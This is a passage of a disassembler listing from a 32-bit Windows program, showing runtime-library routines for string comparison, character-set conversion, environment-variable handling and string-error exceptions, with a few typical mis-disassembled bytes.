[ebp+arg_0], 0 jg short loc_425F3C loc_425F5A: ; CODE XREF: sub_425E0A+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425F9A loc_425F61: ; CODE XREF: sub_425E0A+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425F9A movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425F7A: ; CODE XREF: sub_425E0A+184j test byte ptr [ebp+var_24], 1 jz short loc_425F83 inc [ebp+var_14] loc_425F83: ; CODE XREF: sub_425E0A+174j lea eax, [ebp+var_24] push eax call sub_42534D dec ebx pop ecx jnz short loc_425F7A cmp [ebp+var_14], 0 jz short loc_425F9A or byte ptr [ebp+var_24], 1 loc_425F9A: ; CODE XREF: sub_425E0A+155j ; sub_425E0A+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425FB1 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425FE6 loc_425FB1: ; CODE XREF: sub_425E0A+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425FE3 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425FDE and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425FD8 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425FE6 ; --------------------------------------------------------------------------- loc_425FD8: ; CODE XREF: sub_425E0A+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425FE6 ; --------------------------------------------------------------------------- loc_425FDE: ; CODE XREF: sub_425E0A+1B5j inc [ebp+var_20+2] jmp short loc_425FE6 ; --------------------------------------------------------------------------- loc_425FE3: ; CODE XREF: sub_425E0A+1ABj inc [ebp+var_24+2] loc_425FE6: ; CODE XREF: sub_425E0A+1A5j ; sub_425E0A+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_42600A mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_426004: ; CODE XREF: sub_425E0A+86j mov [esi+0Ah], ax jmp short loc_426025 ; --------------------------------------------------------------------------- loc_42600A: ; CODE XREF: sub_425E0A+42j ; sub_425E0A+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_426025: ; CODE XREF: sub_425E0A+ABj ; sub_425E0A+1FEj pop edi pop esi pop ebx leave retn sub_425E0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42602A proc near ; CODE XREF: sub_425441+440p ; sub_425912+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43FA58 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_4260A3 jge short loc_426052 mov eax, [ebp+arg_4] mov ebx, offset dword_43FBB8 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_426052: ; CODE XREF: sub_42602A+16j cmp [ebp+arg_8], ecx jnz short loc_42605D mov eax, [ebp+arg_0] mov [eax], cx loc_42605D: ; CODE XREF: sub_42602A+2Bj cmp [ebp+arg_4], ecx jz short loc_4260A3 push esi push edi loc_426064: ; CODE XREF: sub_42602A+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_42609C lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_42608F lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_42608F: ; CODE XREF: sub_42602A+57j push esi push [ebp+arg_0] call sub_425E0A pop ecx pop ecx xor ecx, ecx loc_42609C: ; CODE XREF: sub_42602A+49j cmp [ebp+arg_4], ecx jnz short loc_426064 pop edi pop esi loc_4260A3: ; CODE XREF: sub_42602A+14j ; sub_42602A+36j pop ebx leave retn sub_42602A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4260A6 proc near ; CODE XREF: sub_425D17+5Ep ; sub_426557+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_4260B3 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_4260B3: ; CODE XREF: sub_4260A6+7j push ds:dword_4DF304 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push ds:dword_4DF524 call sub_426153 add esp, 1Ch test eax, eax jnz short loc_4260E0 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_4260E0: ; CODE XREF: sub_4260A6+31j add eax, 0FFFFFFFEh pop ebp retn sub_4260A6 endp ; =============== S U B R O U T I N E ======================================= sub_4260E5 proc near ; CODE XREF: sub_425D17+1Ep ; sub_4263D0+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, ds:dword_4DDEE4 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_426146 mov ebx, ds:dword_428180 loc_4260FE: ; CODE XREF: sub_4260E5+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx ; WideCharToMultiByte mov ebp, eax cmp ebp, edi jz short loc_42614E push ebp call sub_41B6C5 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_42614E push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx ; WideCharToMultiByte test eax, eax jz short loc_42614E push edi push [esp+18h+var_4] call sub_4263D0 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_4260FE loc_426146: ; CODE XREF: sub_4260E5+11j xor eax, eax loc_426148: ; CODE XREF: sub_4260E5+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42614E: ; CODE XREF: sub_4260E5+29j ; sub_4260E5+38j ... or eax, 0FFFFFFFFh jmp short loc_426148 sub_4260E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426153 proc near ; CODE XREF: sub_4260A6+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_428CF0 push offset sub_4237BC mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp ds:dword_4DE1C8, ebx push 1 pop edi jnz short loc_4261C6 push edi mov eax, offset dword_428940 push eax push edi push eax push ebx push ebx call ds:dword_428008 ; CompareStringW test eax, eax jz short loc_4261A3 mov ds:dword_4DE1C8, edi jmp short loc_4261C6 ; --------------------------------------------------------------------------- loc_4261A3: ; CODE XREF: sub_426153+46j push edi mov eax, offset dword_4CDAB0 push eax push edi push eax push ebx push ebx call ds:dword_42800C ; CompareStringA test eax, eax jz loc_4263BC mov ds:dword_4DE1C8, 2 loc_4261C6: ; CODE XREF: sub_426153+31j ; sub_426153+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_4261DD push esi push [ebp+arg_8] call sub_422FC7 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_4261DD: ; CODE XREF: sub_426153+78j cmp [ebp+arg_14], ebx jle short loc_4261F2 push [ebp+arg_14] push [ebp+arg_10] call sub_422FC7 pop ecx pop ecx mov [ebp+arg_14], eax loc_4261F2: ; CODE XREF: sub_426153+8Dj mov eax, ds:dword_4DE1C8 cmp eax, 2 jnz short loc_426217 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_42800C ; CompareStringA jmp loc_4263BE ; --------------------------------------------------------------------------- loc_426217: ; CODE XREF: sub_426153+A7j cmp eax, edi jnz loc_4263BC cmp [ebp+arg_18], ebx jnz short loc_42622C mov eax, ds:dword_4DDF84 mov [ebp+arg_18], eax loc_42622C: ; CODE XREF: sub_426153+CFj cmp esi, ebx jz short loc_426239 cmp [ebp+arg_14], ebx jnz loc_4262D1 loc_426239: ; CODE XREF: sub_426153+DBj cmp esi, [ebp+arg_14] jnz short loc_426246 loc_42623E: ; CODE XREF: sub_426153+13Cj ; sub_426153+16Dj push 2 loc_426240: ; CODE XREF: sub_426153+146j pop eax jmp loc_4263BE ; --------------------------------------------------------------------------- loc_426246: ; CODE XREF: sub_426153+E9j cmp [ebp+arg_14], edi jle short loc_426252 loc_42624B: ; CODE XREF: sub_426153+151j ; sub_426153+159j ... mov eax, edi jmp loc_4263BE ; --------------------------------------------------------------------------- loc_426252: ; CODE XREF: sub_426153+F6j cmp esi, edi jg short loc_426297 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call near ptr 0B10000h xor eax, 840FC085h push ecx add [eax], eax add [ebx], bh rep jle short loc_42629B cmp [ebp+var_3C], 2 jb short loc_426297 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_426297 loc_42627D: ; CODE XREF: sub_426153+142j mov dl, [eax+1] cmp dl, bl jz short loc_426297 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_426291 cmp cl, dl jbe short loc_42623E loc_426291: ; CODE XREF: sub_426153+138j inc eax inc eax cmp [eax], bl jnz short loc_42627D loc_426297: ; CODE XREF: sub_426153+101j ; sub_426153+120j ... push 3 jmp short loc_426240 ; --------------------------------------------------------------------------- loc_42629B: ; CODE XREF: sub_426153+119j cmp [ebp+arg_14], ebx jle short loc_4262D1 cmp [ebp+var_3C], 2 jb short loc_42624B lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_42624B loc_4262AE: ; CODE XREF: sub_426153+177j mov dl, [eax+1] cmp dl, bl jz short loc_42624B mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_4262C6 cmp cl, dl jbe loc_42623E loc_4262C6: ; CODE XREF: sub_426153+169j inc eax inc eax cmp [eax], bl jnz short loc_4262AE jmp loc_42624B ; --------------------------------------------------------------------------- loc_4262D1: ; CODE XREF: sub_426153+E0j ; sub_426153+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call ds:dword_428184 ; MultiByteToWideChar mov [ebp+var_1C], eax cmp eax, ebx jz loc_4263BC mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_41BD10 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_426320 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_426320: ; CODE XREF: sub_426153+1B5j cmp [ebp+var_24], ebx jz loc_4263BC push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, ds:dword_428184 call esi ; MultiByteToWideChar test eax, eax jz short loc_4263BC push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi ; MultiByteToWideChar mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_4263BC mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BD10 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_42638B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_42638B: ; CODE XREF: sub_426153+224j cmp edi, ebx jz short loc_4263BC push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call ds:dword_428184 ; MultiByteToWideChar test eax, eax jz short loc_4263BC push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_428008 ; CompareStringW jmp short loc_4263BE ; --------------------------------------------------------------------------- loc_4263BC: ; CODE XREF: sub_426153+63j ; sub_426153+C6j ... xor eax, eax loc_4263BE: ; CODE XREF: sub_426153+BFj ; sub_426153+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426153 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4263D0 proc near ; CODE XREF: sub_4260E5+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_426434 push 3Dh push [ebp+arg_0] call sub_426616 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_426434 cmp [ebp+arg_0], esi jz short loc_426434 mov eax, ds:dword_4DDEDC xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, ds:dword_4DDEE0 jnz short loc_42641A push eax call sub_4265AF pop ecx mov ds:dword_4DDEDC, eax loc_42641A: ; CODE XREF: sub_4263D0+3Cj cmp eax, edi jnz short loc_426472 cmp [ebp+arg_4], edi jz short loc_42643C cmp ds:dword_4DDEE4, edi jz short loc_42643C call sub_4260E5 test eax, eax jz short loc_426472 loc_426434: ; CODE XREF: sub_4263D0+Dj ; sub_4263D0+22j ... or eax, 0FFFFFFFFh loc_426437: ; CODE XREF: sub_4263D0+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42643C: ; CODE XREF: sub_4263D0+51j ; sub_4263D0+59j cmp ebx, edi jnz loc_426550 push 4 call sub_41B6C5 cmp eax, edi pop ecx mov ds:dword_4DDEDC, eax jz short loc_426434 mov [eax], edi cmp ds:dword_4DDEE4, edi jnz short loc_426472 push 4 call sub_41B6C5 cmp eax, edi pop ecx mov ds:dword_4DDEE4, eax jz short loc_426434 mov [eax], edi loc_426472: ; CODE XREF: sub_4263D0+4Cj ; sub_4263D0+62j ... sub esi, [ebp+arg_0] mov edi, ds:dword_4DDEDC mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_426557 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_4264D2 cmp dword ptr [edi], 0 jz short loc_4264D2 test ebx, ebx jz short loc_4264CA push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_41B2A1 pop ecx loc_4264A4: ; CODE XREF: sub_4263D0+E2j cmp dword ptr [edi], 0 jz short loc_4264B4 mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_4264A4 ; --------------------------------------------------------------------------- loc_4264B4: ; CODE XREF: sub_4263D0+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41B3F2 pop ecx test eax, eax pop ecx jz short loc_426504 jmp short loc_4264FF ; --------------------------------------------------------------------------- loc_4264CA: ; CODE XREF: sub_4263D0+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_426504 ; --------------------------------------------------------------------------- loc_4264D2: ; CODE XREF: sub_4263D0+BDj ; sub_4263D0+C2j test ebx, ebx jnz short loc_426550 test esi, esi jge short loc_4264DC neg esi loc_4264DC: ; CODE XREF: sub_4263D0+108j lea eax, ds:8[esi*4] push eax push edi call sub_41B3F2 pop ecx test eax, eax pop ecx jz loc_426434 mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4264FF: ; CODE XREF: sub_4263D0+F8j mov ds:dword_4DDEDC, eax loc_426504: ; CODE XREF: sub_4263D0+F6j ; sub_4263D0+100j cmp [ebp+arg_4], 0 jz short loc_426550 push [ebp+arg_0] call sub_41B1D0 inc eax inc eax push eax call sub_41B6C5 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_426550 push [ebp+arg_0] push esi call sub_41C0A0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call near ptr 0B10000h and al, 56h call sub_41B2A1 pop ecx loc_426550: ; CODE XREF: sub_4263D0+6Ej ; sub_4263D0+104j ... xor eax, eax jmp loc_426437 sub_4263D0 endp ; =============== S U B R O U T I N E ======================================= sub_426557 proc near ; CODE XREF: sub_4263D0+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ds:dword_4DDEDC push edi mov eax, [esi] test eax, eax jz short loc_426592 mov edi, [esp+8+arg_4] loc_426569: ; CODE XREF: sub_426557+39j push edi push eax push [esp+10h+arg_0] call sub_4260A6 add esp, 0Ch test eax, eax jnz short loc_426588 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_4265A2 test al, al jz short loc_4265A2 loc_426588: ; CODE XREF: sub_426557+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_426569 loc_426592: ; CODE XREF: sub_426557+Cj mov eax, esi sub eax, ds:dword_4DDEDC sar eax, 2 neg eax loc_42659F: ; CODE XREF: sub_426557+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4265A2: ; CODE XREF: sub_426557+2Bj ; sub_426557+2Fj mov eax, esi sub eax, ds:dword_4DDEDC sar eax, 2 jmp short loc_42659F sub_426557 endp ; =============== S U B R O U T I N E ======================================= sub_4265AF proc near ; CODE XREF: sub_4263D0+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_4265BE xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_4265BE: ; CODE XREF: sub_4265AF+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_4265D0 loc_4265C6: ; CODE XREF: sub_4265AF+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_4265C6 loc_4265D0: ; CODE XREF: sub_4265AF+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_41B6C5 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4265F1 push 9 call sub_41DC49 pop ecx loc_4265F1: ; CODE XREF: sub_4265AF+38j mov eax, [edi] mov ebx, edi loc_4265F5: ; CODE XREF: sub_4265AF+5Bj test eax, eax jz short loc_42660C push eax add ebx, 4 call sub_426689 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4265F5 ; --------------------------------------------------------------------------- loc_42660C: ; CODE XREF: sub_4265AF+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_4265AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426616 proc near ; CODE XREF: sub_4263D0+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp ds:dword_4DF31C, 0 jnz short loc_426631 push [ebp+arg_4] push [ebp+arg_0] call sub_41C1A0 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_426631: ; CODE XREF: sub_426616+Aj mov ecx, [ebp+arg_0] loc_426634: ; CODE XREF: sub_426616+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_426677 movzx edx, al test ds:byte_4DF421[edx], 4 jz short loc_426663 mov dl, [ecx+1] inc ecx test dl, dl jz short loc_42666E movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_426672 jmp short loc_42666B ; --------------------------------------------------------------------------- loc_426663: ; CODE XREF: sub_426616+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_426677 loc_42666B: ; CODE XREF: sub_426616+4Bj inc ecx jmp short loc_426634 ; --------------------------------------------------------------------------- loc_42666E: ; CODE XREF: sub_426616+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_426672: ; CODE XREF: sub_426616+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_426677: ; CODE XREF: sub_426616+25j ; sub_426616+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_426616 endp ; =============== S U B R O U T I N E ======================================= sub_426689 proc near ; CODE XREF: sub_4180DD+21p ; sub_4265AF+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_4266B0 push esi call sub_41B1D0 inc eax push eax call sub_41B6C5 pop ecx test eax, eax pop ecx jz short loc_4266B0 push esi push eax call sub_41C0A0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4266B0: ; CODE XREF: sub_426689+7j ; sub_426689+1Aj xor eax, eax pop esi retn sub_426689 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4266C0 proc near ; CODE XREF: sub_40D2F4+12p ; sub_40D34E+12p ... mov eax, offset loc_4270F8 call sub_41CE54 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_40D4F9 mov esi, offset aStringTooLong ; "string too long" push esi call sub_41B1D0 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_40D531 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_42671A lea eax, [ebp-3Ch] push offset dword_429078 push eax mov dword ptr [ebp-3Ch], offset off_428D0C call sub_426B9B pop esi sub_4266C0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42671A proc near ; CODE XREF: sub_4266C0+3Fp ; sub_4268EC+3Fp mov eax, offset loc_42710C call sub_41CE54 push ecx push ecx push ebx push esi lea eax, [ebp-10h] push edi mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_43FDB4 call sub_426AC0 mov ebx, [ebp+8] and dword ptr [ebp-4], 0 lea edi, [esi+0Ch] push 0 mov al, [ebx] mov ecx, edi mov [edi], al call sub_40D4F9 push ds:dword_428D38 mov ecx, edi push 0 push ebx call sub_40D3A6 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_428D2C mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_42671A endp ; =============== S U B R O U T I N E ======================================= sub_42677E proc near ; DATA XREF: seg001:00428D10o ; seg001:00428D30o ... mov eax, [ecx+10h] test eax, eax jnz short locret_42678A mov eax, offset dword_4286A8 locret_42678A: ; CODE XREF: sub_42677E+5j retn sub_42677E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42678B proc near ; DATA XREF: seg001:00428D34o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426801 lea eax, [ebp+var_1C] push offset dword_4290E8 push eax call sub_426B9B sub_42678B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4267A8 proc near ; CODE XREF: seg000:004267E8p ; DATA XREF: seg001:004290ECo mov eax, offset loc_427120 call sub_41CE54 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_428D2C and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_40D4F9 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_426B47 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_4267A8 endp ; --------------------------------------------------------------------------- loc_4267E5: ; DATA XREF: seg001:off_428D2Co push esi mov esi, ecx call sub_4267A8 test byte ptr [esp+8], 1 jz short loc_4267FB push esi call sub_41CE73 pop ecx loc_4267FB: ; CODE XREF: seg000:004267F2j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_426801 proc near ; CODE XREF: sub_42678B+Ap ; sub_4268D4+7p ... mov eax, offset loc_427134 call sub_41CE54 push ecx push ebx mov ebx, [ebp+8] push esi push edi mov esi, ecx push ebx mov [ebp-10h], esi call sub_426AFD mov al, [ebx+0Ch] and dword ptr [ebp-4], 0 add ebx, 0Ch lea edi, [esi+0Ch] push 0 mov ecx, edi mov [edi], al call sub_40D4F9 push ds:dword_428D38 mov ecx, edi push 0 push ebx call sub_40D3A6 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_428D2C mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_426801 endp ; =============== S U B R O U T I N E ======================================= sub_42685E proc near ; CODE XREF: sub_42689B+20p ; DATA XREF: seg001:0042907Co mov eax, offset loc_427148 call sub_41CE54 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_428D2C and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_40D4F9 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_426B47 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_42685E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42689B proc near ; DATA XREF: seg001:00428D14o var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4268D4 lea eax, [ebp+var_1C] push offset dword_429078 push eax call sub_426B9B loc_4268B8: ; DATA XREF: seg001:off_428D0Co push esi mov esi, ecx call sub_42685E test [esp+20h+var_18], 1 jz short loc_4268CE push esi call sub_41CE73 pop ecx loc_4268CE: ; CODE XREF: sub_42689B+2Aj mov eax, esi pop esi retn 4 sub_42689B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4268D4 proc near ; CODE XREF: sub_42689B+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_426801 mov dword ptr [esi], offset off_428D0C mov eax, esi pop esi retn 4 sub_4268D4 endp ; =============== S U B R O U T I N E ======================================= sub_4268EC proc near ; CODE XREF: sub_40D3A6+13p ; sub_40D566+Ep mov eax, offset loc_42715C call sub_41CE54 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_40D4F9 mov esi, offset aInvalidStringP ; "invalid string position" push esi call sub_41B1D0 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_40D531 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_42671A lea eax, [ebp-3Ch] push offset dword_4291A0 push eax mov dword ptr [ebp-3Ch], offset off_428D40 call sub_426B9B pop esi sub_4268EC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426946 proc near ; CODE XREF: sub_426983+20p ; DATA XREF: seg001:004291A4o mov eax, offset loc_427170 call sub_41CE54 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_428D2C and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_40D4F9 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_426B47 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_426946 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426983 proc near ; DATA XREF: seg001:00428D48o var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4269BC lea eax, [ebp+var_1C] push offset dword_4291A0 push eax call sub_426B9B loc_4269A0: ; DATA XREF: seg001:off_428D40o push esi mov esi, ecx call sub_426946 test [esp+20h+var_18], 1 jz short loc_4269B6 push esi call sub_41CE73 pop ecx loc_4269B6: ; CODE XREF: sub_426983+2Aj mov eax, esi pop esi retn 4 sub_426983 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4269BC proc near ; CODE XREF: sub_426983+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_426801 mov dword ptr [esi], offset off_428D40 mov eax, esi pop esi retn 4 sub_4269BC endp ; =============== S U B R O U T I N E ======================================= sub_4269D4 proc near ; DATA XREF: seg002:0042A014o ; FUNCTION CHUNK AT 00426A0A SIZE 0000000C BYTES test ds:byte_4DE1D4, 1 jnz short loc_4269E4 or ds:byte_4DE1D4, 1 loc_4269E4: ; CODE XREF: sub_4269D4+7j call sub_4269FE test ds:byte_4DF560, 1 jnz short loc_4269F9 or ds:byte_4DF560, 1 loc_4269F9: ; CODE XREF: sub_4269D4+1Cj jmp loc_426A0A sub_4269D4 endp ; =============== S U B R O U T I N E ======================================= sub_4269FE proc near ; CODE XREF: sub_4269D4:loc_4269E4p push offset nullsub_1 call sub_41D230 pop ecx retn sub_4269FE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269D4 loc_426A0A: ; CODE XREF: sub_4269D4:loc_4269F9j push offset nullsub_1 call sub_41D230 pop ecx retn ; END OF FUNCTION CHUNK FOR sub_4269D4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426A18 proc near ; CODE XREF: sub_40CC86+5Ep ; sub_40ED60+148p ... jmp ds:dword_42822C 